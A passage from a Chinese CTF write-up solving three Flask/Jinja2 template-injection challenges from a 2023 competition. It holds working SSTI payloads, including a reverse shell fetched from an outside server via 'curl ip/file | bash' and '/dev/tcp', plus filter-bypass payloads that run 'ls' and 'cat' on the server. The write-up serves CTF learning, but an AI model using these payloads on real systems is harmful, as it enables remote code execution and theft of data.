当前位置: 首页 > news >正文

CTF题型 SSTI(2) Flask-SSTI典型题巩固

CTF题型 SSTI(2) Flask-SSTI典型题巩固

文章目录

  • CTF题型 SSTI(2) Flask-SSTI典型题巩固
    • 前记
    • 1.klf__ssti
      • SSTI_Fuzz字典(网上收集+自己补充)
    • 2.klf_2
      • 数字问题如何解决了?|count |length都被禁?
    • 3.klf_3

前记

从基础到自己构造payload

请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm=1001.2014.3001.5501

上次用的极简payload {{lipsum.__globals__['os'].popen('ls').read()}}这里接着沿用

这里题记 payload构造原理可能不是很细

复现环境:2023 极客大挑战 klf系列 https://github.com/SycloverTeam/GeekChallenge2023/tree/main/Web 题目flag没有内容自己加内容测试

1.klf__ssti

Ctrl-U查看源码 发现html注释

<html><body><h1>给女神表白,被拒绝了,女神骂我klf,呜呜呜</h1><h1>klf是什么意思啊,呜呜呜女神肯定不会骂我的,klf是keep in Love嘛</h1><h1>肯定是这样的呜呜呜,女神肯定不会骂我的</h1></body><img src="https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/klf_ku..jpg" alt="g"><!-- 我好像藏了东西你找得到嘛klf-->
<!--/hack?-->
</html>

访问/hack?

提示关键字 klf

image-20240313225822052

对应黑盒测试 我们一般 fuzz 一下字符

SSTI_Fuzz字典(网上收集+自己补充)

request
args
cookies
values
class
base
mro
subclasses
init
globals
builtins
os
import
popen
read
type
getitem
get
pop
session
config
url_for
set
lipsum
string
list
dict
join
count
index
request
args
values
cookies
format
for
is
end
name
lower
get_flashed_messages
chr
app
current_app
self
system
getattr
bytes
decode
doc
eval
exec
loader
ord
length
load_module
linecache
int
upper
reverse
replace
(
)
()
{{
}}
{%
%}
\x
\u
{%%}
{{}}
_
\
|
/
'
"
[
]
*
~
:
-
.
*
0
1
2
3
4
5
6
7
8
9
31
51
101

发送到 burl 爆破模块

image-20240313230105890

发现 除了解析失败 其他页面相同

image-20240313230200520

可能是盲注 {{lipsum.__globals__['os'].popen('curl zdlvueztts.dgrh3.cn').read()}}

尝试判读出网不 发现出网 无回显

image-20240313230348724

那我们直接反弹shell

测试后发现 环境可能只有curl 可以出网 (有点奇怪)

我们在自己vps web服务上 放置 一个文件 建议不加后缀名 bash -i >& /dev/tcp/ip/port 0>&1

执行 curl ip/文件名 | bash 反弹回来

{{lipsum.__globals__['os'].popen('curl ip/file | bash').read()}}

弹回来找flag

image-20240313231139434

2.klf_2

image-20240313231435091

提示发现我的secret

访问/robots.txt

image-20240313231534157

发现ssti 注入点

image-20240313231621880

burp fuzz一下

image-20240313231932336

发现禁了一些关键词 包括 count 数字大于 40 都被禁

image-20240313232020986

一些符号 '' "" \ _ [ ]

尝试lipsum有没有被禁

image-20240313232124192

自己把我们上篇文章的payload修改一下

请参考 https://blog.csdn.net/qq_39947980/article/details/136692512?spm=1001.2014.3001.5501

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join,chh(numc),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

我们修改一下cmd命令即可 执行ls /app

被禁{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(numa)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
被禁{%set numb=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
被禁{%set numc=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(l=a,s=a)|join,chh(numb),chh(numc),dict(ap=a,p=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

数字问题如何解决了?|count |length都被禁?

因为 0-9没有被禁 可以用 全角字符半替代

为什么是半替代 因为 全部用全角字符 服务器无法识别

附 半角数字转全角 脚本

def half2full(half):  full = ''  for ch in half:  if ord(ch) in range(33, 127):  ch = chr(ord(ch) + 0xfee0)  elif ord(ch) == 32:  ch = chr(0x3000)  else:  pass  full += ch  return full  
t=''
s="0123456789"
for i in s:t+='\''+half2full(i)+'\','
print(t)

image-20240313233351198

全角数字'0','1','2','3','4','5','6','7','8','9'

{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(l=a,s=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313233537256

可以看到/app内容

读取 /app/flag内容 cat /app/fl4gfl4gfl4g

{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl4gfl4gfl4g=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313234138200

可以拿到flag

3.klf_3

和klf_2一样的操作

image-20240313234458323

直接拿klf_2的payload来用

读取 /app/flag内容 cat /app/fl4gfl4gfl4g

{%set p=dict(po=a,p=a)|join%}
{%set xhx=()|select|string|list|attr(p)(24)%}
{%set a=(xhx,xhx,dict(glo=a,bals=a)|join,xhx,xhx)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xhx,xhx,dict(ge=a,titem=a)|join,xhx,xhx)|join%}
{%set f=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl4gfl4gfl4g=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

image-20240313234138200

image-20240313234818973

SSTI学习可以告一段落啦

http://www.lryc.cn/news/321825.html

相关文章:

  • 计算机设计大赛 题目: 基于深度学习的疲劳驾驶检测 深度学习
  • 小字辈[天梯赛]
  • Linux常用操作命令、端口、防火墙、磁盘与内存
  • <JavaEE> 了解网络层协议 -- IP协议
  • 【安全类书籍-2】Web渗透测试:使用Kali Linux
  • ubuntu10.04 apache2.2开启tls1.2的支持,使现代的edge和firefox浏览器能正常访问https
  • 算法学习(持续更新中)
  • 蓝桥杯 2023 省B 飞机降落
  • 基于python的变配电室运行状态评估与预警系统flask-django-nodejs-php
  • el-table左键双击单元格编辑内容(输入框输入计算公式可直接得出结果),右键单击展示操作菜单,可编辑单元格高亮展示
  • 实现HBase表和RDB表的转化(附Java源码资源)
  • 10:00面试,10:06就出来了,问的问题有点变态。。。
  • 【Python】: Django Web开发实战(详细教程)
  • 突破编程_C++_C++11新特性(tuple)
  • xss.pwnfunction(DOM型XSS)靶场
  • 安装 docker 和 jenkins
  • jni入门学习 CMakeLists脚本
  • 如何在没有向量数据库的情况下使用知识图谱实现RAG
  • 6.如何判断数据库搜索是否走索引?
  • Java并发编程的性能优化方案中,哪些方法比较常用
  • AcWing 2867. 回文日期(每日一题)
  • 学习笔记-华为IPD转型2020:3,IPD的实施
  • 2024腾龙杯web签到题-初识jwt(签到:这是一个登录页面)
  • Monaco Editor系列(一)启动项目与入门示例解析
  • DNA存储技术原理是什么?
  • 多维时序 | Matlab实现VMD-CNN-GRU变分模态分解结合卷积神经网络门控循环单元多变量时间序列预测
  • 基于springboot+vue的毕业论文管理系统
  • JavaWeb后端——分层解耦 IOC DI
  • 短视频矩阵系统技术交付
  • Halcon 凹坑检测案例